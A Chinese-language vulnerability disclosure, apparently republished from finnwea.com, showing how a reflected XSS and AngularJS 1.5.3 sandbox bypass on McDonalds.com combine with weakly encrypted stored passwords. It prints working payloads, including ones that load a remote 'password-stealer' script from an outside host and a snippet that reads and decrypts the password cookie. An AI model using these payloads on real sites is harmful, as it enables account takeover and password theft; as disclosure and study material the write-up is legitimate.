看我如何利用漏洞窃取麦当劳网站注册用户密码

本文讲述了利用不安全的加密存储(Insecure_Cryptographic_Storage)漏洞和服务端反射型XSS漏洞,实现对麦当劳网站(McDonalds.com)注册用户的密码窃取,进一步测试,还可能获取到网站注册用户的更多信息。

POC-利用反射型XSS漏洞绕过AngularJS框架沙箱

麦当劳网站McDonalds.com设置有一个搜索页面,该页面存在XSS反射型漏洞,可以返回搜索参数值,假设搜索参数q为***********-test-reflected-test-***********,对应链接:

https://www.mcdonalds.com/us/en-us/search-results.html?q=***********-test-reflected-test-***********

则执行效果如下:

麦当劳网站采用AngularJS框架,所以可以使用特殊字符在搜索区域进行返回值尝试。通过更改搜索参数q为{{$id}}之后,发现返回值对应AngularJS范围内的对应ID数字9:

Link used: https://www.mcdonalds.com/us/en-us/search-results.html?q={{$id}}

AngularJS是一个流行的JavaScript框架,通过这个框架可以把表达式放在花括号中嵌入到页面中。 例如,表达式1+2={{1+2}}将会得到1+2=3。其中括号中的表达式被执行了,这就意味着,如果服务端允许用户输入的参数中带有花括号,我们就可以用Angular表达式来进行xss攻击。

由于AngularJS工作在沙箱模式,所以使用参数{{alert(1)}}无任何返回信息,但这并不代表AngularJS沙箱没有漏洞。

在 AngularJS1.6版本中,由于沙箱机制不能很好地起到安全防护目的,已经被从源码中移除。而PortSwigger还对AngularJS的各版本沙箱进行了绕过测试,并给出了相应绕过执行命令。

在这里,我们来看看McDonalds.com使用的AngularJS版本,通过在浏览器控制端输入angular.version命令:

可以发现AngularJS为1.5.3版本,参照PortSwigger的测试,我们选用

{{x = {'y':''.constructor.prototype}; x['y'].charAt=[].join;$eval('x=alert(1)');}}

作为搜索参数,很惊喜,返回值如下:

这就意味着,我们可以利用绕过命令,对网站加载外部JS脚本文件,如构造如下命令:

{{x = {'y':''.constructor.prototype}; x['y'].charAt=[].join;$eval('x=$.getScript(`https://finnwea.com/snippets/external-alert.js`)');}}`

返回结果如下:

在内容安全策略(Content-Security-Policy)的提示下,第三方脚本文件被成功加载。

窃取密码

除此之外,我在麦当劳网站的注册页面发现了复选框“Remember my password”,通常来说,这只有在用户登录页面才存在,有点奇怪:

在该页面的源代码页面,包含了各种passowrd字段内容,甚至存在一个有趣的密码解密函数:

最危险的是,利用该解密函数代码竟然可以实现对客户端或双向加密存储的密码破解。尝试对发现的被存储Cookie值penc进行解密,竟然成功了!

而且,经分析发现,Cookie值penc的存储期限是大大的一年!LOL!

另外,以下的源码分析显示,麦当劳网站使用了Javascript的CryptoJS加密库进行信息加密,加密方式为3DES,其中加密参数key和iv都为通用,这意味着只需要获取到cookie值就能对密码解密:

由于AngularJS沙箱绕过方法只对charAt的join方法(charAt=[].join;$eval(‘x=alert(1)’))有效,所以即使我曾尝试在搜索区域构造其它恶意命令对cookie信息进行解密,但最终总是因为getCookie失败而无效。

只有当charAt(0) 不为空时,getCookie才有返回值:

最后,我写了一段调用麦当劳网站首页框架进行cookie窃取的脚本,为了避免脚本因AngularJS沙箱被绕过而被反复执行,所以,我用window.xssIsExecuted对其进行了显示控制,如下:

if (!window.xssIsExecuted) { window.xssIsExecuted = true; var iframe = $('<iframe src="https://www.mcdonalds.com/us/en-us.html"></iframe>'); $('body').append(iframe); iframe.on('load', function() { var penc = iframe[0].contentWindow.getCookie('penc'); alert(iframe[0].contentWindow.decrypt(penc)); });}

最终,配合以下AngularJS沙箱绕过命令,可以成功从cookie信息中对密码解密!

{{x = {'y':''.constructor.prototype}; x['y'].charAt=[].join;$eval('x=$.getScript(`https://finnwea.com/snippets/mcdonalds-password-stealer.js`)');}}

遗憾的是,我曾多次与麦当劳官方就此问题进行联系,但是他们竟然都不回应!@#%¥&! ,所以我选择把此漏洞公开。

**参考来源:finnwea.com,FB小编clouds编译,转载请注明来自FreeBuf.COM。

原文发布于微信公众号 - FreeBuf(freebuf)

原文发表时间:2017-01-18

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏python学习路

三、Requests库的使用

requests 的底层实现其实就是 urllib3  Requests 唯一的一个非转基因的 Python HTTP 库,人类可以安全享用。 学过关于urll...

389100
来自专栏黑泽君的专栏

day26_Struts2学习笔记_03

软件的国际化:软件开发时,要使它能同时应对世界不同地区和国家的访问,并针对不同地区和国家的访问,提供相应的、符合来访者阅读习惯的页面或数据。

12310
来自专栏小白的技术客栈

Linux之密码知多少?

一个Python简单脚本 ? 好久没有更新内容了,也好久没有给大家打个招呼了,小白想死你们了。 查看系统用户的脚本 [root@VM_171_247_cent...

36050
来自专栏数据之美

Eclipse 下找不到或无法加载主类的解决办法

有时候 Eclipse 会发神经,好端端的 project 就这么编译不了了,连 Hello World 都会报“找不到或无法加载主类(Exception in...

51650
来自专栏云计算教程系列

如何在Ubuntu 16.04上使用Vault来保护敏感的Ansible数据

Ansible Vault是一项允许用户加密Ansible项目中的值和数据结构的功能。这提供了保证Ansible成功运行敏感数据所必备的能力。

12940
来自专栏企鹅号快讯

PHP代码审计

代码审计顾名思义就是检查源代码中的缺点和错误信息,分析并找到这些问题引发的安全漏洞,并提供代码修订措施和建议。PHP代码审计审计套路通读全文法 ...

589100
来自专栏FreeBuf

无招胜有招: 看我如何通过劫持COM服务器绕过AMSI

? 在Windows 10中,Microsoft的反恶意软件扫描接口(AMSI)被作为新功能被引入,作为标准接口,该功能可以让反病毒引擎将特征规则应用于机器的...

33270
来自专栏向治洪

apktool动态破解apk

那么今天我们就用另外一种方式来破解apk:动态方式,关于动态方式其实很广义的,因为动态方式相对于静态方式来说,难度大一点,但是他比静态方式高效点,能够针对更过...

68860
来自专栏LanceToBigData

linux(二)之linux常用命令一

linux的命令非常之多,命令多就算了关键每个命令还有很多的参数。不过其实并不要去害怕它。 你只要常去用,并且的话,大部分你只要记住命令,参数不记得我们可以去查...

25780
来自专栏向治洪

POP3收取邮件

SMTP用于发送邮件,如果要收取邮件呢? 收取邮件就是编写一个MUA作为客户端,从MDA把邮件获取到用户的电脑或者手机上。收取邮件最常用的协议是POP协议,目...

40270

扫码关注云+社区

领取腾讯云代金券